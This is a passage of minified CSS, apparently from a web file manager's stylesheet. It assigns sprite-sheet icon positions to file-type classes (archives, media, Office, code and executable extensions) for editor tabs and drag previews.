!important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -176px !important;}.edit-tab .tabs .tab .name .x-item-file.x-vss{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -160px !important;}.edit-tab .tabs .tab .name .x-item-file.x-vst{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -144px !important;}.edit-tab .tabs .tab .name .x-item-file.x-vsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -128px !important;}.edit-tab .tabs .tab .name .x-item-file.x-vtx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -112px !important;}.edit-tab .tabs .tab .name .x-item-file.x-xls{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -96px !important;}.edit-tab .tabs .tab .name .x-item-file.x-xlsb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -80px !important;}.edit-tab .tabs .tab .name .x-item-file.x-xlsm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -64px !important;}.edit-tab .tabs .tab .name .x-item-file.x-xlsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -48px !important;}.edit-tab .tabs .tab .name .x-item-file.x-xlt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -32px !important;}.edit-tab .tabs .tab .name .x-item-file.x-xltx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -16px !important;}.edit-tab .tabs .tab .name .x-item-file.x-xps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px 0 !important;}.edit-tab .tabs .tab .name .x-item-file.x-cab{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -240px !important;}.edit-tab .tabs .tab .name .x-item-file.x-cer{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -224px !important;}.edit-tab .tabs .tab .name .x-item-file.x-chm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -208px !important;}.edit-tab .tabs .tab .name .x-item-file.x-cmd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -192px !important;}.edit-tab .tabs .tab .name .x-item-file.x-dll{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -176px !important;}.edit-tab .tabs .tab .name .x-item-file.x-exe{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -160px !important;}.edit-tab .tabs .tab .name .x-item-file.x-fon{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -144px !important;}.edit-tab .tabs .tab .name .x-item-file.x-hlp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -128px !important;}.edit-tab .tabs .tab .name .x-item-file.x-ini{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -112px !important;}.edit-tab .tabs .tab .name .x-item-file.x-lnk{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -96px !important;}.edit-tab .tabs .tab .name .x-item-file.x-msi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -80px !important;}.edit-tab .tabs .tab .name .x-item-file.x-ps1{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -64px !important;}.edit-tab .tabs .tab .name .x-item-file.x-reg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -48px !important;}.edit-tab .tabs .tab .name .x-item-file.x-rtf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -32px !important;}.edit-tab .tabs .tab .name .x-item-file.x-txt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -16px !important;}.edit-tab .tabs .tab .name .x-item-file.x-vbs{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px 0 !important;}.edit-tab .tabs .tab .name .x-item-file.x-3gp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -160px !important;}.edit-tab .tabs .tab .name .x-item-file.x-avi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -144px !important;}.edit-tab .tabs .tab .name .x-item-file.x-flv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -128px !important;}.edit-tab .tabs .tab .name .x-item-file.x-m4v{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -112px !important;}.edit-tab .tabs .tab .name .x-item-file.x-mkv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -96px !important;}.edit-tab .tabs .tab .name .x-item-file.x-mov{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -80px !important;}.edit-tab .tabs .tab .name .x-item-file.x-mp4{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -64px !important;}.edit-tab .tabs .tab .name .x-item-file.x-mpg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -48px !important;}.edit-tab .tabs .tab .name .x-item-file.x-ogg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -32px !important;}.edit-tab .tabs .tab .name .x-item-file.x-webm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -16px !important;}.edit-tab .tabs .tab .name .x-item-file.x-wmv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px 0 !important;}.edit-tab .tabs .tab .name .x-item-file.x-asax{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -176px !important;}.edit-tab .tabs .tab .name .x-item-file.x-ascx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -160px !important;}.edit-tab .tabs .tab .name .x-item-file.x-ashx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -144px !important;}.edit-tab .tabs .tab .name .x-item-file.x-asmx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -128px !important;}.edit-tab .tabs .tab .name .x-item-file.x-aspx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -112px !important;}.edit-tab .tabs .tab .name .x-item-file.x-config{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -96px !important;}.edit-tab .tabs .tab .name .x-item-file.x-cshtml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -80px !important;}.edit-tab .tabs .tab .name .x-item-file.x-swf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -16px !important;}.edit-tab .tabs .tab .name .x-item-file.x-xap{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px 0 !important;}.edit-tab .tabs .tab .name .x-item-file.x-php{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-size:auto;background-position:-1px -1px !important;background-image:url("../../../images/file_icon/icon_file/php_small.png");}.edit-tab .tabs .tab .name .x-item-file.x-txt,.edit-tab .tabs .tab .name .x-item-file.x-textile,.edit-tab .tabs .tab .name .x-item-file.x-inc,.edit-tab .tabs .tab .name .x-item-file.x-log{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-size:auto;background-position:-1px -1px !important;background-image:url("../../../images/file_icon/icon_file/txt_small.png");}.draggable-dragging .name .x-item-file.x-7z{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -160px !important;}.draggable-dragging .name .x-item-file.x-bz2{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -144px !important;}.draggable-dragging .name .x-item-file.x-dmg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -128px !important;}.draggable-dragging .name .x-item-file.x-gz{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -112px !important;}.draggable-dragging .name .x-item-file.x-iso{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -96px !important;}.draggable-dragging .name .x-item-file.x-jar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -80px !important;}.draggable-dragging .name .x-item-file.x-pkg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -64px !important;}.draggable-dragging .name .x-item-file.x-rar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -48px !important;}.draggable-dragging .name .x-item-file.x-sitx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -32px !important;}.draggable-dragging .name .x-item-file.x-tar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -16px !important;}.draggable-dragging .name .x-item-file.x-zip{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 0 !important;}.draggable-dragging .name .x-item-file.x-aac{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -80px !important;}.draggable-dragging .name .x-item-file.x-m4a{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -64px !important;}.draggable-dragging .name .x-item-file.x-midi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -48px !important;}.draggable-dragging .name .x-item-file.x-mp3{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -32px !important;}.draggable-dragging .name .x-item-file.x-wav{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -16px !important;}.draggable-dragging .name .x-item-file.x-wma{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px 0 !important;}.draggable-dragging .name .x-item-file.x-3ds{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -192px !important;}.draggable-dragging .name .x-item-file.x-ai{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -176px !important;}.draggable-dragging .name .x-item-file.x-as{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -160px !important;}.draggable-dragging .name .x-item-file.x-cdr{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -144px !important;}.draggable-dragging .name .x-item-file.x-dwg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -128px !important;}.draggable-dragging .name .x-item-file.x-dxf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -112px !important;}.draggable-dragging .name .x-item-file.x-eps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -96px !important;}.draggable-dragging .name .x-item-file.x-fla{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -80px !important;}.draggable-dragging .name .x-item-file.x-indd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -64px !important;}.draggable-dragging .name .x-item-file.x-prproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -48px !important;}.draggable-dragging .name .x-item-file.x-psb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -32px !important;}.draggable-dragging .name .x-item-file.x-psd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -16px !important;}.draggable-dragging .name .x-item-file.x-pspimage{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px 0 !important;}.draggable-dragging .name .x-item-file.x-c{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -320px !important;}.draggable-dragging .name .x-item-file.x-cpp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -304px !important;}.draggable-dragging .name .x-item-file.x-cs{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -288px !important;}.draggable-dragging .name .x-item-file.x-csproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -272px !important;}.draggable-dragging .name .x-item-file.x-dtd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -256px !important;}.draggable-dragging .name .x-item-file.x-h{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -240px !important;}.draggable-dragging .name .x-item-file.x-ldf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -224px !important;}.draggable-dragging .name .x-item-file.x-mdf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -208px !important;}.draggable-dragging .name .x-item-file.x-pdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -192px !important;}.draggable-dragging .name .x-item-file.x-resx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -176px !important;}.draggable-dragging .name .x-item-file.x-sln{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -160px !important;}.draggable-dragging .name .x-item-file.x-sql{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -144px !important;}.draggable-dragging .name .x-item-file.x-suo{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -128px !important;}.draggable-dragging .name .x-item-file.x-vb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -112px !important;}.draggable-dragging .name .x-item-file.x-vbproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -96px !important;}.draggable-dragging .name .x-item-file.x-vcproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -80px !important;}.draggable-dragging .name .x-item-file.x-vcxproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -64px !important;}.draggable-dragging .name .x-item-file.x-xaml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -48px !important;}.draggable-dragging .name .x-item-file.x-xml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -32px !important;}.draggable-dragging .name .x-item-file.x-xsd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -16px !important;}.draggable-dragging .name .x-item-file.x-xsl{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px 0 !important;}.draggable-dragging .name .x-item-file.x-bmp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -64px !important;}.draggable-dragging .name .x-item-file.x-gif{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -48px !important;}.draggable-dragging .name .x-item-file.x-ico{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -32px !important;}.draggable-dragging .name .x-item-file.x-jpg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-65px -13px !important;}.draggable-dragging .name .x-item-file.x-png{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px 0 !important;}.draggable-dragging .name .x-item-file.x-accdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -624px !important;}.draggable-dragging .name .x-item-file.x-csv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -608px !important;}.draggable-dragging .name .x-item-file.x-doc{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -592px !important;}.draggable-dragging .name .x-item-file.x-docm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -576px !important;}.draggable-dragging .name .x-item-file.x-docx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -560px !important;}.draggable-dragging .name .x-item-file.x-dot{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -544px !important;}.draggable-dragging .name .x-item-file.x-dotm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -528px !important;}.draggable-dragging .name .x-item-file.x-dotx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -512px !important;}.draggable-dragging .name .x-item-file.x-epub{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -496px !important;}.draggable-dragging .name .x-item-file.x-mdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -480px !important;}.draggable-dragging .name .x-item-file.x-mht{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -464px !important;}.draggable-dragging .name .x-item-file.x-mpp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -448px !important;}.draggable-dragging .name .x-item-file.x-mpt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -432px !important;}.draggable-dragging .name .x-item-file.x-msg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -416px !important;}.draggable-dragging .name .x-item-file.x-odp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -400px !important;}.draggable-dragging .name .x-item-file.x-ods{position:relative;width:16px !important;height:16px 